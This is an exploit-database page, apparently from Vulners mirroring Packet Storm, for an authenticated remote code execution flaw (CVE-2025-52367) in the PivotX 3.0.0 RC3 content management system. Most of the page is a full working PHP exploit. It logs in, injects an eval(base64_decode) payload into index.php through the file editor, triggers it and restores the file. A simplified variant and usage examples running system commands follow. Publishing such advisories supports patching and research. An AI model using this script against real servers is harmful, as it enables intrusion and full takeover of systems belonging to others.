Lucene search
K

📄 PivotX 3.0.0 RC 3 Command Injection

🗓️ 16 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 116 Views

PivotX up to 3.0.0rc3 has authenticated remote code execution enabling admin to modify PHP files.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-52367
17 Jul 202521:02
circl
CNNVD
PivotX 3.0.0 RC3 安全漏洞
16 Jul 202500:00
cnnvd
CVE
CVE-2025-52367
22 Sep 202500:00
cve
Cvelist
CVE-2025-52367
22 Sep 202500:00
cvelist
Exploit DB
PivotX 3.0.0 RC3 - Remote Code Execution (RCE)
16 Jul 202500:00
exploitdb
EUVD
EUVD-2025-30753
22 Sep 202500:00
euvd
Metasploit
PivotX Remote Code Execution
13 Aug 202518:54
metasploit
NVD
CVE-2025-52367
22 Sep 202519:15
nvd
OSV
CVE-2025-52367
22 Sep 202519:15
osv
Packet Storm
📄 PivotX 3.0.0 RC3 Remote Code Execution / Cross Site Scripting
16 Jul 202500:00
packetstorm
Rows per page
=============================================================================================================================================
    | # Title     : PivotX 3.0.0 RC 3 authenticated command injection                                                                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://github.com/pivotx/PivotX                                                                                            |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/208387/ & 	CVE-2025-52367
    
    [+] Summary : 
                 PivotX content management system versions up to and including 3.0.0-rc3 contain an authenticated remote code execution vulnerability 
    			 that allows administrative users to modify PHP files directly through the web interface, leading to complete system compromise.
    			 
    [+]  POC : 
    
    php poc.php 
    
    <?php
    
    class PivotX_RCE_Exploit {
        
        private $target;
        private $username;
        private $password;
        private $base_uri;
        private $cookies;
        private $csrf_token;
        private $base_dir;
        private $original_content;
        
        public function __construct($target, $username, $password, $base_uri = '/PivotX/') {
            $this->target = rtrim($target, '/');
            $this->username = $username;
            $this->password = $password;
            $this->base_uri = rtrim($base_uri, '/');
            $this->cookies = [];
            $this->csrf_token = null;
            $this->base_dir = null;
            $this->original_content = null;
        }
        
        private function send_request($method, $endpoint, $data = null, $is_post = false, $is_multipart = false) {
            $url = $this->target . $this->base_uri . $endpoint;
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 30,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_COOKIEFILE => '',
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false
            ]);
            
            // Preserve cookies between requests
            if (!empty($this->cookies)) {
                curl_setopt($ch, CURLOPT_COOKIE, $this->build_cookie_header());
            }
            
            if ($is_post) {
                curl_setopt($ch, CURLOPT_POST, true);
                if ($data) {
                    if ($is_multipart) {
                        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
                        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: multipart/form-data; boundary=' . $this->generate_boundary()]);
                    } else {
                        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
                    }
                }
            } else {
                if ($data && !$is_post) {
                    $url .= '?' . http_build_query($data);
                    curl_setopt($ch, CURLOPT_URL, $url);
                }
            }
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            
            // Save cookies from response
            if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $response, $matches)) {
                foreach ($matches[1] as $cookie) {
                    $parts = explode('=', $cookie, 2);
                    if (count($parts) === 2) {
                        $this->cookies[$parts[0]] = $parts[1];
                    }
                }
            }
            
            // Extract pivotxsession cookie for CSRF token
            if (preg_match('/pivotxsession=([a-zA-Z0-9]+)/', $this->build_cookie_header(), $matches)) {
                $this->csrf_token = $matches[1];
            }
            
            curl_close($ch);
            
            return [
                'code' => $http_code,
                'body' => $response
            ];
        }
        
        private function build_cookie_header() {
            $cookies = [];
            foreach ($this->cookies as $name => $value) {
                $cookies[] = $name . '=' . $value;
            }
            return implode('; ', $cookies);
        }
        
        private function generate_boundary() {
            return '----WebKitFormBoundary' . bin2hex(random_bytes(16));
        }
        
        private function build_multipart_data($fields) {
            $boundary = $this->generate_boundary();
            $data = '';
            
            foreach ($fields as $name => $value) {
                $data .= "--{$boundary}\r\n";
                $data .= "Content-Disposition: form-data; name=\"{$name}\"\r\n\r\n";
                $data .= "{$value}\r\n";
            }
            
            $data .= "--{$boundary}--\r\n";
            
            return [
                'data' => $data,
                'boundary' => $boundary
            ];
        }
        
        public function check() {
            echo "[*] Checking target...\n";
            
            $response = $this->send_request('GET', 'pivotx/index.php');
            
            if ($response['code'] !== 200) {
                return "Unknown: Unexpected response code: " . $response['code'];
            }
            
            if (strpos($response['body'], 'PivotX Powered') === false) {
                return "Safe: Target is not PivotX";
            }
            
            // Extract version
            if (preg_match('/PivotX - (\d\.\d\d?\.\d\d?-[a-z0-9]+)/', $response['body'], $matches)) {
                $version = $matches[1];
                echo "[*] Detected PivotX version: $version\n";
                
                // Check if version is vulnerable (<= 3.0.0-rc3)
                if (version_compare($version, '3.0.0-rc3', '<=')) {
                    return "Appears: Vulnerable PivotX $version detected";
                } else {
                    return "Safe: PivotX $version is not vulnerable";
                }
            }
            
            return "Detected: Could not determine version";
        }
        
        private function login() {
            echo "[*] Attempting to login...\n";
            
            $multipart_data = $this->build_multipart_data([
                'returnto' => '',
                'template' => '',
                'username' => $this->username,
                'password' => $this->password
            ]);
            
            $response = $this->send_request('POST', 'pivotx/index.php', 
                                          array_merge(['page' => 'login'], $multipart_data['data']), 
                                          true, true);
            
            // Check for login failure
            if (strpos($response['body'], 'Incorrect username/password') !== false) {
                throw new Exception("Login failed - incorrect username/password");
            }
            
            // Check for successful login (should have pivotxsession cookie)
            if (($response['code'] == 200 || $response['code'] == 302) && 
                preg_match('/pivotxsession=([a-zA-Z0-9]+)/', $this->build_cookie_header())) {
                echo "[+] Login successful\n";
                return true;
            }
            
            throw new Exception("Login failed - unable to get pivotxsession cookie");
        }
        
        private function modify_file($payload) {
            echo "[*] Modifying index.php file...\n";
            
            // First, get the working directory
            $response = $this->send_request('GET', 'pivotx/index.php', ['page' => 'homeexplore']);
            
            if ($response['code'] !== 200 || !preg_match('/basedir=([a-zA-Z0-9]+)/', $response['body'], $matches)) {
                throw new Exception("Failed to fetch working directory");
            }
            
            $this->base_dir = $matches[1];
            echo "[*] Base directory: $this->base_dir\n";
            
            // Fetch current index.php content
            $response = $this->send_request('GET', 'pivotx/ajaxhelper.php', [
                'function' => 'view',
                'basedir' => $this->base_dir,
                'file' => 'index.php'
            ]);
            
            if ($response['code'] !== 200) {
                throw new Exception("Failed to fetch index.php content");
            }
            
            // Extract original content from textarea
            if (preg_match('/<textarea[^>]*>(.*?)<\/textarea>/is', $response['body'], $matches)) {
                $this->original_content = html_entity_decode($matches[1]);
            }
            
            if (!$this->original_content) {
                throw new Exception("Could not find content of index.php");
            }
            
            echo "[*] Original content length: " . strlen($this->original_content) . " bytes\n";
            
            // Create malicious payload
            $encoded_payload = base64_encode($payload);
            $malicious_content = "<?php eval(base64_decode('$encoded_payload')); ?> " . $this->original_content;
            
            // Save malicious content
            $post_data = [
                'csrfcheck' => $this->csrf_token,
                'function' => 'save',
                'basedir' => $this->base_dir,
                'file' => 'index.php',
                'contents' => $malicious_content
            ];
            
            $response = $this->send_request('POST', 'pivotx/ajaxhelper.php', $post_data, true);
            
            if ($response['code'] !== 200 || strpos($response['body'], 'Wrote contents to file index.php') === false) {
                throw new Exception("Failed to insert malicious PHP payload");
            }
            
            echo "[+] Successfully modified index.php with payload\n";
        }
        
        private function trigger_payload() {
            echo "[*] Triggering payload...\n";
            
            $response = $this->send_request('POST', 'index.php', null, true);
            
            echo "[+] Payload triggered\n";
            return $response;
        }
        
        private function restore() {
            if (!$this->original_content || !$this->base_dir || !$this->csrf_token) {
                echo "[-] Cannot restore - missing required data\n";
                return false;
            }
            
            echo "[*] Restoring original content...\n";
            
            $post_data = [
                'csrfcheck' => $this->csrf_token,
                'function' => 'save',
                'basedir' => $this->base_dir,
                'file' => 'index.php',
                'contents' => $this->original_content
            ];
            
            $response = $this->send_request('POST', 'pivotx/ajaxhelper.php', $post_data, true);
            
            if ($response['code'] === 200 && strpos($response['body'], 'Wrote contents to file index.php') !== false) {
                echo "[+] Original content restored successfully\n";
                return true;
            } else {
                echo "[-] Failed to restore original content\n";
                return false;
            }
        }
        
        public function exploit($payload) {
            try {
                echo "[*] Starting PivotX RCE exploitation...\n";
                
                // Check target first
                $check_result = $this->check();
                echo "[*] Check result: $check_result\n";
                
                if (strpos($check_result, 'Safe') !== false) {
                    echo "[-] Target is not vulnerable, stopping exploitation\n";
                    return false;
                }
                
                // Login to PivotX
                $this->login();
                
                // Modify index.php with payload
                $this->modify_file($payload);
                
                // Trigger the payload
                $this->trigger_payload();
                
                echo "[+] Exploitation completed\n";
                return true;
                
            } catch (Exception $e) {
                echo "[-] Exploitation failed: " . $e->getMessage() . "\n";
                return false;
            } finally {
                // Always attempt to restore original content
                $this->restore();
            }
        }
        
        public function __destruct() {
            // Auto-restore on object destruction
            $this->restore();
        }
    }
    
    // نسخة مبسطة للاستخدام السريع
    class SimplePivotXExploit {
        
        public static function execute($target, $username, $password, $php_code, $base_uri = '/PivotX/') {
            $target = rtrim($target, '/');
            $base_uri = rtrim($base_uri, '/');
            
            $ch = curl_init();
            $cookies = [];
            
            // Step 1: Login
            $login_data = http_build_query([
                'returnto' => '',
                'template' => '',
                'username' => $username,
                'password' => $password
            ]);
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $target . $base_uri . '/pivotx/index.php?page=login',
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $login_data,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_COOKIEFILE => '',
                CURLOPT_FOLLOWLOCATION => true
            ]);
            
            $response = curl_exec($ch);
            
            // Extract cookies
            if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $response, $matches)) {
                foreach ($matches[1] as $cookie) {
                    $parts = explode('=', $cookie, 2);
                    if (count($parts) === 2) {
                        $cookies[$parts[0]] = $parts[1];
                    }
                }
            }
            
            $cookie_header = '';
            foreach ($cookies as $name => $value) {
                $cookie_header .= $name . '=' . $value . '; ';
            }
            
            // Step 2: Get base directory
            curl_setopt_array($ch, [
                CURLOPT_URL => $target . $base_uri . '/pivotx/index.php?page=homeexplore',
                CURLOPT_POST => false,
                CURLOPT_HTTPHEADER => ["Cookie: $cookie_header"]
            ]);
            
            $response = curl_exec($ch);
            preg_match('/basedir=([a-zA-Z0-9]+)/', $response, $matches);
            $base_dir = $matches[1] ?? '';
            
            if (!$base_dir) {
                return "[-] Failed to get base directory";
            }
            
            // Step 3: Get original index.php content
            curl_setopt_array($ch, [
                CURLOPT_URL => $target . $base_uri . '/pivotx/ajaxhelper.php?function=view&basedir=' . $base_dir . '&file=index.php',
                CURLOPT_HTTPHEADER => ["Cookie: $cookie_header"]
            ]);
            
            $response = curl_exec($ch);
            preg_match('/<textarea[^>]*>(.*?)<\/textarea>/is', $response, $matches);
            $original_content = html_entity_decode($matches[1] ?? '');
            
            // Step 4: Inject payload
            $encoded_payload = base64_encode($php_code);
            $malicious_content = "<?php eval(base64_decode('$encoded_payload')); ?> " . $original_content;
            
            $post_data = http_build_query([
                'csrfcheck' => $cookies['pivotxsession'] ?? '',
                'function' => 'save',
                'basedir' => $base_dir,
                'file' => 'index.php',
                'contents' => $malicious_content
            ]);
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $target . $base_uri . '/pivotx/ajaxhelper.php',
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $post_data,
                CURLOPT_HTTPHEADER => ["Cookie: $cookie_header"]
            ]);
            
            $response = curl_exec($ch);
            
            // Step 5: Trigger payload
            curl_setopt_array($ch, [
                CURLOPT_URL => $target . $base_uri . '/index.php',
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => '',
                CURLOPT_HTTPHEADER => ["Cookie: $cookie_header"]
            ]);
            
            $trigger_response = curl_exec($ch);
            
            // Step 6: Restore original content
            $restore_data = http_build_query([
                'csrfcheck' => $cookies['pivotxsession'] ?? '',
                'function' => 'save',
                'basedir' => $base_dir,
                'file' => 'index.php',
                'contents' => $original_content
            ]);
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $target . $base_uri . '/pivotx/ajaxhelper.php',
                CURLOPT_POSTFIELDS => $restore_data
            ]);
            
            curl_exec($ch);
            curl_close($ch);
            
            return "[+] Exploitation completed";
        }
    }
    
    // الاستخدام
    if (php_sapi_name() === 'cli') {
        
        if ($argc < 5) {
            echo "Usage: php " . $argv[0] . " <target_url> <username> <password> <php_code>\n";
            echo "Example: php " . $argv[0] . " http://localhost admin password \"system('id');\"\n";
            echo "Example: php " . $argv[0] . " http://localhost admin password \"echo 'Hello World';\"\n";
            exit(1);
        }
        
        $target = $argv[1];
        $username = $argv[2];
        $password = $argv[3];
        $php_code = $argv[4];
        
        // استخدام النسخة الكاملة
        $exploit = new PivotX_RCE_Exploit($target, $username, $password);
        $exploit->exploit($php_code);
        
        // أو استخدام النسخة المبسطة
        // $result = SimplePivotXExploit::execute($target, $username, $password, $php_code);
        // echo $result . "\n";
    }
    
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.15.4
EPSS0.7027
SSVC
116